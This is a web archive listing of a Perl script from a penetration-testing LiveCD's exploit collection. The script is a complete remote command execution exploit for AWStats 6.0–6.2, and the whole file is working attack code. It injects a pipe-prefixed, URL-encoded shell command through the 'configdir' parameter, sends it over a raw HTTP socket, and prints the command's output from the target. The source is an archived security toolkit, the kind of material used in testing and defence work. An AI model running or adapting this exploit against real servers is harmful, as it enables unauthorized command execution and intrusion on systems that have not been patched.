home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webapp / awstats / GHCaws.pl < prev    next >
Perl Script  |  2005-03-05  |  2KB  |  74 lines

  1. #!/usr/bin/perl
  2. #---GHC------------------------------#
  3. #Remote command execution exploit    #
  4. #Product:                            #
  5. #Advanced Web Statistics 6.0 - 6.2   #
  6. #URL:http://awstats.sourceforge.net  #
  7. #Greets & respects to our friends:   #
  8. #1dt.w0lf and all rst.void.ru        #
  9. #Special greets 2 d0G4               #
  10. #& cr0n for link on bugtraq          #
  11. #---not-PRIVATE-already--------------#
  12. # bug found by iDEFENSE              #
  13. # http://www.idefense.com/           #
  14. # application/poi/display?           #
  15. # id=185&type=vulnerabilities        #
  16. # &flashstatus=true                  #
  17. #------------------------------------#
  18.  
  19. use IO::Socket;
  20. $banner = "
  21. #################################################################
  22. GHC 2005
  23. Remote command execution exploit for:
  24. Advanced Web Statistics 6.0 - 6.2 
  25. Usage:
  26. >perl ./GHCaws.pl www.server.net /cgi-bin/awredir.pl \"uname -a\"
  27. #################################################################
  28. ";
  29.  
  30. $bug_param = 'configdir';
  31. $id_start  = 'b_exp';
  32. $id_exit   = 'e_exp';
  33. $id_print  = 0;
  34. $http_head = "\n\n";
  35.  
  36. sub Print_Report {
  37.   $str = $_[0];
  38.   if ($str =~ m/$id_exit/i) {
  39.     exit;
  40.   }
  41.   if ($str =~ m/$id_start/i) {
  42.     $str =~ s/$id_start//ig;
  43.     $id_print = 1;
  44.   }
  45.   if ($id_print == 1) {
  46.     print "$str";
  47.   }
  48. }
  49.  
  50. sub ConnectServer {
  51.   $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80")
  52.     || die "Error\n";
  53.   print $socket "GET $dir".'?'.$bug_param.'='."$expl HTTP/1.1\n";
  54.   print $socket "Host: $server\n";
  55.   print $socket "Accept: */*\n";
  56.   print $socket "Connection: close\n\n";
  57.   while ($report = <$socket>) {
  58.     &Print_Report("$report");
  59.   }
  60. }
  61.  
  62.  
  63. print "$banner";
  64. if ($ARGV[0] && $ARGV[1] && $ARGV[2]) {
  65.   $server  = $ARGV[0];
  66.   $dir     = $ARGV[1];
  67.   $cmd     = $ARGV[2]; }
  68. else {
  69.   exit;
  70. }
  71.  
  72. $expl = '|echo '.''.';echo '.$id_start.';'.$cmd.';echo '.$id_exit.';%00';
  73. $expl =~ s/\W/"%".sprintf("%x",ord($&))/eg;
  74. &ConnectServer;